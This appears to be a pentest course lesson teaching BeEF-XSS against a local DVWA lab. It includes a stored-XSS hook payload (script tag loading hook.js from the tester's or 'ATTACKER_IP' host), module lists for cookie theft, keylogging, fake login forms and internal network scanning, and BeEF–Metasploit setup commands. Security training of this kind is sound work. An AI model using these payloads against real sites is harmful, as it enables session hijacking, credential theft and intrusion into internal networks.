⚠️ Authorised Lab Environments Only. BeEF-XSS sends command modules to hooked browsers. Every exercise in this lab targets your own DVWA instance or browsers you control. Never hook browsers you don’t own. Browser exploitation without authorisation is illegal everywhere.
ZAP found the XSS on Day 24. You confirmed it with <script>alert(1)</script>. An alert box fired. Your CVSS score said Medium. Now I want to show you what that Medium actually means when you stop accepting the pop-up and start using the right tool. A pop-up is a proof of concept. BeEF turns the same XSS into a persistent command-and-control channel into the victim’s browser. Same vulnerability. Completely different impact. That’s the gap between what scanners report and what pentesters demonstrate — and it’s the gap Day 25 closes.
🎯 What You’ll Master in Day 25
Launch BeEF-XSS and understand the hooking architecture
Deliver the BeEF hook script via an XSS injection point
Run browser fingerprinting, network discovery, and social engineering modules
Understand the BeEF + Metasploit browser_autopwn chain
Write a professional escalated XSS finding for a pentest report
⏱️ 45 min read · 3 exercises · Day 25 of 120
✅ Before You Start
Day 24: OWASP ZAP — automated scanning found the XSS. Today you take that XSS finding and escalate it from an alert() pop-up to full browser control using BeEF.
DVWA running at http://localhost/dvwa/ with security set to Low. BeEF is pre-installed in Kali — launch with beef-xss. Default credentials: beef/beef.
After Day 24’s OWASP ZAP scanning surfaced the XSS findings, Day 25 is where I show you what those findings are really worth. BeEF is the tool that connects ZAP’s XSS alert to an actual browser control channel — and it’s the reason a stored XSS in a site with 10,000 daily users is Critical, not Medium. The full methodology is in the Kali Linux Mastery Course.
BeEF Architecture — How the Hook Works
BeEF (Browser Exploitation Framework) operates through a JavaScript hook — a single script tag that, when executed in a victim’s browser, establishes a persistent connection back to your BeEF server. The victim’s browser becomes a zombie: it polls BeEF every few seconds asking “any commands for me?” You respond through the BeEF web UI by selecting modules to execute.
📸 BeEF web UI showing a hooked browser. The left panel lists all connected (online) browsers — each one a victim whose browser loaded the hook.js. The right panel shows command module results: Get Cookie has returned the PHPSESSID session token, browser fingerprinting is complete, network discovery is running. From this single XSS injection, I now have the session cookie that grants admin access, the full browser/OS profile for exploit targeting, and a pivot point into the victim’s internal network. This is why stored XSS on an authenticated page is Critical, not Medium.
Launch BeEF and Deliver the Hook
LAUNCHING BEEF AND DELIVERING THE HOOK
# Launch BeEF (Kali pre-installed)
sudo beef-xss
# Or: sudo /usr/share/beef-xss/beef
# Output shows: Web UI at http://127.0.0.1:3000/ui/panel
# Hook URL: http://YOUR_KALI_IP:3000/hook.js
# Get your Kali IP (use this in the hook payload)
hostname -I | awk ‘{print $1}’
# Hook delivery via stored XSS in DVWA (XSS Stored module)
# Navigate to: http://localhost/dvwa/vulnerabilities/xss_s/
Open browser → http://127.0.0.1:3000/ui/panel → beef/beef
Left panel: “Hooked Browsers” should show new entry within 3s
🧠 EXERCISE 1 — THINK LIKE A HACKER (15 MIN · NO TOOLS)
Design a BeEF Attack Chain — From XSS to Maximum Impact
⏱️ 15 minutes · No tools required
The value of BeEF isn’t any single module — it’s the chain. Design the complete attack sequence before opening BeEF, exactly as I do before any real engagement.
SCENARIO: You’ve found a stored XSS in a corporate intranet app.
The app is used by 200 employees including the IT admin team.
Scope: authorised red team engagement, full network in scope.
DESIGN YOUR ATTACK CHAIN (in order):
Step 1 — Hook delivery
Where do you inject? (high-traffic page, admin-only page, or both?)
Why does hook placement in an admin forum vs public feed matter?
Step 2 — Immediate recon (run within first 30s of hook)
Which 3 BeEF modules do you run first and why?
What information from the hooked browser changes your next steps?
Step 3 — Cookie theft analysis
You get PHPSESSID from the cookie module.
What do you do with it? What’s the exact attack?
What if the cookie has HttpOnly flag? Does BeEF help or hurt here?
Step 4 — Network pivot
The victim is on the 10.0.0.0/8 corporate network.
Which BeEF module reveals this?
What do you do with the internal network map?
Step 5 — Social engineering escalation
List 2 BeEF social engineering modules and their specific use in this scenario.
What is the end goal — what action do you want the admin to take?
Step 6 — Reporting
How does “XSS via BeEF → session theft → admin account takeover” change the
CVSS score and finding severity vs the original alert(1) XSS?
Write your complete attack chain before the next exercise.
✅ The HttpOnly question (Step 3) is where most learners hit their first real limitation. HttpOnly cookies can’t be read by JavaScript — so BeEF’s Get Cookie module won’t return them. But this doesn’t make the XSS less valuable: BeEF can still perform actions in the authenticated session (CSRF-style requests via browser modules), capture keystrokes, screenshot the page, and deliver social engineering payloads. The attack surface shifts from token theft to session riding and user manipulation. Real BeEF engagements almost always combine multiple modules because no single module tells the whole story.
📸 Write your attack chain and share in #kali-labs.
Command Modules — What You Can Do to a Hooked Browser
BeEF ships with 300+ command modules across categories. The ones I run on every engagement, in this order: fingerprint, cookies, network discovery, then targeted social engineering based on what those first three reveal. Here’s the module map I use.
KEY BEEF COMMAND MODULES
# Category: Browser — immediate intelligence
Browser > Get Cookie → All non-HttpOnly cookies
Browser > Fingerprint → Browser/OS/screen/plugins
Browser > Get Page HREFs → All links on current page
Browser > Get Visited URLs → Browser history (partial)
Browser > Detect Firebug → Is this a developer/analyst?
# Category: Network — internal recon
Network > Get Internal IP → Victim’s LAN IP address
Network > Network Discovery → Scan internal /24 via browser
Network > Ping Sweep → Which IPs are alive internally
Network > Port Scanner → Scan specific internal host:ports
# Category: User Interface — keylogging + screenshots
User Interface > Keystroke Logger → Capture ALL keystrokes
User Interface > Get Clipboard → Contents of clipboard
User Interface > Screenshot → Capture current browser view
# Category: Social Engineering
Social Engineering > Fake Flash Update → Deliver exe via fake prompt
Social Engineering > Fake Login Form → Overlay credential stealer
Social Engineering > Clickjacking → Trick click on hidden element
⚡ EXERCISE 2 — KALI TERMINAL (30 MIN · DVWA + BEEF)
Hook a Browser and Run the Core Module Chain
⏱️ 30 minutes · Kali Linux + DVWA + BeEF running
The hands-on core of Day 25. Hook a browser via DVWA’s stored XSS, run the intelligence-gathering chain, and experience what BeEF actually returns from a real hooked session. This is the exercise that makes “XSS is Critical” viscerally clear.
PREREQUISITE: DVWA at http://localhost/dvwa/ (Low security).
BeEF launched: sudo beef-xss. Your Kali IP noted.
Step 1: Get your hook URL
hostname -I | awk ‘{print $1}’
Your hook URL: http://[YOUR_IP]:3000/hook.js
Step 2: Inject stored XSS hook in DVWA
Navigate: http://localhost/dvwa/vulnerabilities/xss_s/
Name: Hook Test
Message: <script src=”http://[YOUR_IP]:3000/hook.js”></script>
Submit the form.
Step 3: Trigger the hook
Open a SECOND browser tab (or Firefox if you used Chrome).
Navigate to the DVWA XSS Stored page — your hook executes.
Switch to BeEF UI: http://127.0.0.1:3000/ui/panel
You should see a new hooked browser in the left panel.
Step 4: Run the intelligence chain (in this order)
Click the hooked browser entry.
Commands tab → Browser → Get Cookie → Execute
What cookies were returned? Note any session tokens.
Commands → Browser → Fingerprint → Execute
What browser/OS information is returned?
Commands → Network → Get Internal IP → Execute
What is the victim’s LAN IP?
Step 5: Run keylogger
Commands → User Interface → Keystroke Logger → Execute
Switch back to the DVWA tab.
Click into the username/password fields and type something.
Return to BeEF → check the keylogger module results.
What was captured?
Step 6: Screenshot
Commands → User Interface → Screenshot → Execute
What does BeEF capture?
Document: full output from each module. Note which modules returned
data and which returned empty results.
✅ The keylogger result is usually the moment the lab clicks. You type credentials into the DVWA login form in the hooked tab — and they appear character-by-character in your BeEF keylogger output. Every keystroke. That’s the data an attacker captures from every employee who visits a page with a stored XSS injection. In a real engagement, I combine this with the session cookie to demonstrate: here’s the admin’s password typed after lunch, here’s their session token before that, here’s every internal IP they can reach from their browser. That’s a Critical finding with a complete proof-of-concept chain.
📸 Screenshot BeEF keylogger output showing captured keystrokes. Share in #kali-labs. Tag #Day25BeEF
Network Discovery via the Hooked Browser
The network discovery capability is what elevates BeEF from a browser toy to a legitimate pivot tool. The victim’s browser runs inside their corporate network. When I run BeEF’s network scanner modules through their browser, the scan traffic comes from their machine — bypassing network controls that would block my Kali IP.
NETWORK DISCOVERY VIA BEEF
# Step 1: Get victim’s internal IP first
Network > Get Internal IP → returns e.g. 10.0.1.45
Now I know the /24 to scan: 10.0.1.0/24
# Step 2: Network Discovery module
Network > Network Discovery
IP Range: 10.0.1.1-254
→ returns list of live hosts (IPs that responded)
→ runs from victim browser — bypasses network ACLs
# Step 3: Port scan specific high-value targets
Network > Port Scanner
Target: 10.0.1.1 (likely the router/gateway)
Ports: 22,80,443,3389,445,8080,8443
→ returns open ports on internal host unreachable from outside
# What this gives me in a pentest report
“Via XSS hook on [application], I enumerated 47 internal hosts
on the 10.0.1.0/24 subnet and identified an internal admin
panel at 10.0.1.200:8080 — inaccessible from external networks.”
💡 TIP — Network Discovery Speed: BeEF’s network discovery runs from the victim’s browser via JavaScript — it uses XMLHttpRequest or fetch() to probe each IP. This means it’s constrained by browser connection limits and same-origin policy. It won’t discover all hosts in a large network, but it’s highly effective for finding the most reachable hosts (router, printer, internal web apps) and is completely invisible from a network monitoring perspective — the probe traffic comes from the victim’s browser, not from my Kali machine.
BeEF + Metasploit — Browser Autopwn Chain
The BeEF-Metasploit integration is the most powerful chain in the toolkit — and the one that justifies why browser-based XSS is treated as Critical in any application that could be visited by a target’s browser. BeEF delivers the hook, Metasploit runs browser exploit modules against the hooked session.
BEEF + METASPLOIT INTEGRATION
# Enable Metasploit integration in BeEF config
sudo nano /etc/beef-xss/config.yaml
# Find metasploit section:
metasploit:
enable: true
host: “127.0.0.1”
port: 55553
# Start Metasploit RPC server (separate terminal)
msfrpcd -P mypassword -S -f -a 127.0.0.1
# Restart BeEF to load Metasploit integration
sudo beef-xss
# In BeEF UI — after browser is hooked
Commands > Metasploit > Browser Autopwn 2
→ BeEF sends browser info to Metasploit
→ Metasploit selects matching browser exploits
→ Exploit runs against hooked browser session
# Manual browser exploit via Metasploit (more reliable)
The integration setup is what most tutorials skip — get it working in your lab now so you understand the architecture when you encounter it on a real engagement. This exercise focuses on the connection, not full exploitation (browser autopwn requires a vulnerable browser build).
Step 1: Configure BeEF Metasploit integration
sudo nano /etc/beef-xss/config.yaml
Locate: metasploit section
Set: enable: true
Save and exit.
Step 3: Restart BeEF with integration
sudo beef-xss
Watch startup output — should see Metasploit connection confirmed.
Step 4: Verify integration in BeEF UI
http://127.0.0.1:3000/ui/panel
Hook a browser (from Exercise 2 stored XSS).
Commands tab → look for Metasploit category.
Is it now visible? (Confirms integration working)
Step 5: Explore browser autopwn
Commands > Metasploit > Browser Autopwn 2
Do NOT execute against DVWA (not a real vulnerable browser).
Instead: read what modules it would select and why.
Note: what browser/OS combinations does it target?
Step 6: Document the chain architecture
Draw or describe: XSS injection point → BeEF hook → Metasploit RPC →
browser exploit → Meterpreter session.
Where does each framework start and end?
✅ The architecture diagram in Step 6 is the most valuable output of this exercise. The BeEF-Metasploit chain has four distinct layers: (1) XSS delivery via application vulnerability, (2) BeEF hook maintaining persistent browser control, (3) Metasploit RPC receiving targeting info from BeEF, (4) Metasploit browser exploit delivering a Meterpreter session. In a real engagement, I document this chain explicitly in the pentest report — not because the client needs to patch all four layers separately, but because the chain illustrates why a “medium-severity” XSS in a web app used by internal employees is effectively an RCE when combined with a susceptible browser build.
📸 Screenshot the BeEF UI showing Metasploit module category visible. Share in #kali-labs.
Reporting Escalated XSS
The BeEF demo changes the report completely. Here’s how I write the same XSS finding with and without escalation evidence — and why the second version gets patched in 48 hours while the first gets scheduled for next quarter.
msfrpcd -P pass -S -f -a 127.0.0.1 # Start MSF RPC for BeEF integration
🏆 Day 25 Complete — BeEF-XSS Tutorial
Hook delivery, fingerprinting, cookie theft, keylogging, network discovery, BeEF-Metasploit integration, and escalated XSS reporting. BeEF is now in your XSS escalation toolkit. Day 26 moves to SET — the Social Engineering Toolkit — which takes the human layer of these attacks to the next level. Check your Port Scanner Tool against any target before starting a BeEF session to understand the network context you’re working in.
🧠 Quick Check
A stored XSS in a public-facing blog with 50,000 daily visitors was originally scored Medium (CVSS 6.1). After demonstrating BeEF hook delivery, session cookie theft, and internal network discovery from a hooked admin session — what is the correct severity and why?
❓ Frequently Asked Questions — BeEF-XSS 2026
What is BeEF-XSS?
BeEF (Browser Exploitation Framework) is a penetration testing tool that uses JavaScript hooks to establish command-and-control sessions with victim browsers via XSS vulnerabilities. Once hooked, attackers can run 300+ command modules to fingerprint, recon, socially engineer, or exploit the victim’s browser.
How does BeEF deliver its hook?
Via a <script src="http://ATTACKER_IP:3000/hook.js"></script> tag injected through an XSS vulnerability. When the victim’s browser loads the page containing the injection, hook.js executes and establishes a polling connection back to the BeEF server.
Can BeEF bypass HttpOnly cookies?
No. HttpOnly cookies cannot be read by JavaScript and therefore cannot be stolen by BeEF’s Get Cookie module. However, BeEF can still ride the session (sending authenticated requests on behalf of the user), capture keystrokes, take screenshots, run network discovery, and deliver social engineering payloads — all without the cookie value.
Is BeEF detectable?
Yes. The hook.js request and subsequent polling to port 3000 are visible in network logs. Content Security Policy (CSP) headers that restrict script-src to trusted domains will block hook.js from loading. Modern browsers also flag mixed-content issues if HTTP hook.js loads on an HTTPS page.
How is BeEF-based XSS reported in a pentest?
Stored XSS escalated with BeEF typically becomes Critical. The report should show: (1) the XSS injection point and initial hook delivery, (2) specific module outputs (cookie values, keylogger captures, network scan results), (3) the maximum achievable impact chain, and (4) CVSS rescoring with Scope:Changed to reflect network-level impact beyond the original web application.
What prevents BeEF attacks?
Content Security Policy (CSP) with strict script-src prevents hook.js from loading. Output encoding eliminates the XSS injection vector. HttpOnly and Secure cookie flags limit session theft impact. Subresource Integrity (SRI) prevents hook.js substitution. Regular security scanning (OWASP ZAP, Burp) detects XSS before it can be weaponised.
← Previous
Day 24: OWASP ZAP — Automated Web Scanning
Next →
Day 26: SET — Social Engineering Toolkit
📚 Further Reading
Day 24 — OWASP ZAP— The scanning session that surfaces the XSS findings BeEF then escalates. ZAP finds them; BeEF proves their real-world impact.
XSS Hub— The complete cross-site scripting attack surface. All three XSS types, DOM analysis, CSP bypass, and the full escalation methodology that BeEF sits at the end of.
Port Scanner Tool— Run a quick external port scan on your target before a BeEF engagement to understand the network topology. Combines with BeEF’s internal network discovery for a complete network picture from both outside and inside.
BeEF Project GitHub— The official BeEF source repository. Module documentation, configuration reference, and the active issue tracker for the latest capabilities and bugs in the current release.
PortSwigger — XSS Learning Path— The definitive XSS learning resource. All 30 XSS labs covering every context and filter bypass. Essential companion to Day 25 — BeEF escalation only works when your XSS delivery is solid.
ME
Mr Elite
Owner, SecurityElites.com
The first time I demonstrated BeEF on a real engagement, the developer who’d been arguing that “XSS just shows a pop-up, it’s not critical” watched me pull his session cookie, capture his keystrokes including the admin password he’d typed two minutes before, and display a map of seven internal servers his browser could reach that our external scans had never seen. He raised a P1 ticket within the hour. BeEF doesn’t change the vulnerability — it changes what the room thinks about the vulnerability. That’s its value on a pentest: not just to find impact, but to communicate it in a way that can’t be dismissed.
